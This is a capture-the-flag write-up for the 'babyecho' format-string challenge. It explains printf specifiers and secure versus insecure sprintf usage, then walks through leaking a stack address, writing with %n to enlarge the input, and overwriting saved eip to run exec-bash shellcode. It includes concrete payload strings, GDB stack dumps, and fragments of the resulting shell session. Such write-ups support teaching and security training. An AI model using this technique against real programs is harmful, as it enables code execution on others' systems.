babyecho is an ELF 32bit statically linked binary that reads 13 bytes at time and outputs it back:
$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
Reading 13 bytes (stdout)
123456789012345678901234567890 (stdin)
123456789012 (stdout)
Reading 13 bytes (stdout)
456789012345 (stdout)
Reading 13 bytes (stdout)
7890 (stdout)
Reading 13 bytes (stdout)
=> no buffer overflow... but string format:
$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
Reading 13 bytes
%p%p%p%p%p%p
0xd0xa(nil)0xd0xff99457c(nil)
Reading 13 bytes
Basicaly a bad coding practice where a user controlled input is passed as the argument and not as a format argument to a printf-family function:
/* bad */
sprintf(target, user_input);
If a format is given in user_input
it will be interpreted by printf
/* good */
sprintf(target, "%s", user_input);
/* better */
snprintf(target, target_max_size, "%s", user_input);
man 3 printf
%p
print 4 bytes as a pointer:$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d Reading 13 bytes %p%p%p%p%p%p 0xd0xa(nil)0xd0xff99457c(nil)
%s
print the string located at the address:$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d Reading 13 bytes %p%p%p%p%s%p 0xd0xa(nil)0xd%p%p%p%p%s%p(nil)
%VALUEx
print an hexadecimal representation with decimalVALUE
precision:$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d Reading 13 bytes %x.%4x.%8x d. a. 0
%n
write at a specified address the number of bytes written so far (example later on)argument offset
OFFSET$
e.g.%7$n
take the 7th argument:printf("%d %d %d %d\n", 4, 3, 2 ,1); /* 4 3 2 1 */ printf("%4$d %3$d %2$d %1$d\n", 4, 3, 2, 1); /* 1 2 3 4 */
What happen here if ask for more arguments than provided?
modifiers
l
,h
,...%n
writes 4 bytes%hn
writes 2 bytes
- address space randomization is activated (ASLR)
- we only have 13 bytes available for the input => too short for a shellcode :'[
- leak an address with a first string format
- increase the buffer size with a second string format
- provide a shellcode and overwrite
eip
with a third string format - profit
leak an address
As already seen we can leak the address on the stack of our input:
$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
Reading 13 bytes
%p%p%p%p%p%p
0xd0xa(nil)0xd0xffffd59c(nil)
Reading 13 bytes
increase the buffer size
In GDB if we break when the binary is waiting for an input (CTRL+Z) and print the stack:
gdb-peda$ x/40x $esp 0xffffd538: 0xffffd578 0x00000001 0xffffd56b 0x0806d4d2 0xffffd548: 0x080481a8 0x08048e54 0x00000000 0xffffd56b 0xffffd558: 0x00000001 0x0804f50a 0x080ea200 0x080be5f1 0xffffd568: 0xffffd584 0x00000000 0x080481a8 0x080eb4d4 0xffffd578: 0xffffd9a8 0x08048ffc 0xffffd59c 0x0000000d 0xffffd588: 0x0000000a 0x00000000 0x0000000d <- len 0xffffd59c <- address leaked 0xffffd598: 0x00000000 0x70257025 0x70257025 0x70257025 <- input 0xffffd5a8: 0x00000000 0x00000000 0x00000000 0x00000000
13 in hexadecimal is 0xd
Here the address of our input is at 0xffffd59c
and the length (0xd
) is at 0xffffd590
=> offset -0xc
We need to find the position of our input on the stack
1: 0xd
2: 0xa
3: 0x0
4: 0xd` 5: ``0xffffd59c
6: 0x0
7: 0x70257025
=> Our input is the 7th arg on the stack
The string format will look like this:
ADDRESS %VALUEx %ARG_NUM$n \x90\xd5\xff\xff%99x%7$n
This will increase the amount read to 4 + 99 = 103 bytes
It works:
$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d
Reading 13 bytes
%p%p%p%p%p%p
0xd0xa(nil)0xd0xffffd59c(nil)
Reading 13 bytes
p@ÿ%00x%7$n
Reading 103 bytes
Insert shellcode and overwrite eip with the address of where the shellcode is
A quick look at the disassembly:
8048ff7: e8 28 fe ff ff call 0x8048e24 ; call to the vulnerable function 8048ffc: 8d 44 24 1c lea 0x1c(%esp),%eax ; <= saved eip 0x0804ffc
We can see where eip is saved on the stack:
gdb-peda$ x/40x $esp 0xffffd538: 0xffffd578 0x00000001 0xffffd56b 0x0806d4d2 0xffffd548: 0x080481a8 0x08048e54 0x00000000 0xffffd56b 0xffffd558: 0x00000001 0x0804f50a 0x080ea200 0x080be5f1 0xffffd568: 0xffffd584 0x00000000 0x080481a8 0x080eb4d4 0xffffd578: 0xffffd9a8 0x08048ffc <- eip 0xffffd59c 0x0000000d 0xffffd588: 0x0000000a 0x00000000 0x0000000d 0xffffd59c <- address leaked 0xffffd598: 0x00000000 0x70257025 0x70257025 0x70257025 <- input 0xffffd5a8: 0x00000000 0x00000000 0x00000000 0x00000000
eip
is stored at 0xffffd57c
=> offset -0x20
Therefore we need to write the value 0xffffd59c
+ shellcode_offset
at address 0xffffd57c
We have to write an entire address on the saved eip
, it has to be done in two steps:
ADDR1 ADDR2 SHELLCODE %VALUE1x %ARG_NUM1$n %VALUE2x %ARG_NUM2$hn
ADDR1
is the address of the least significant bytes where eip is stored (0xffffd57c
)ADDR2
is the address of the most significant bytes where eip is stored (0xffffd57e
)ADDR2
=ADDR1
+0x2
SHELLCODE
is a small shellcode that exec bash (tested: 23 bytes http://shell-storm.org/shellcode/files/shellcode-827.php) it is located at address:0xffffd59c + len(ADDR1) + len(ADDR2) = 0xffffd59c + 4 + 4 = 0xffffd5a4
VALUE1
is the value wanted minus what was written so far:VALUE1 = 0xd5a4 - len(ADDR1) - len(ADDR2) - len(SHELLCODE) = 0xd5a4 - 4 - 4 - 23
ARG_NUM1
is 7 (as seen in 2nd string format)VALUE2
is the value wanted minus what was written so far:VALUE2 = 0xffff - VALUE1 - 4 - 4 - 23
ARG_NUM2
is 8 (7+1)
As ASLR is active, we need to write a script that will compute the addresses and interact with the remotely spawned bash
< pwd > / < ls /home > babycmd > ubuntu < ls /home/babycmd > babycmd > flag < cat /home/babycmd/flag > ....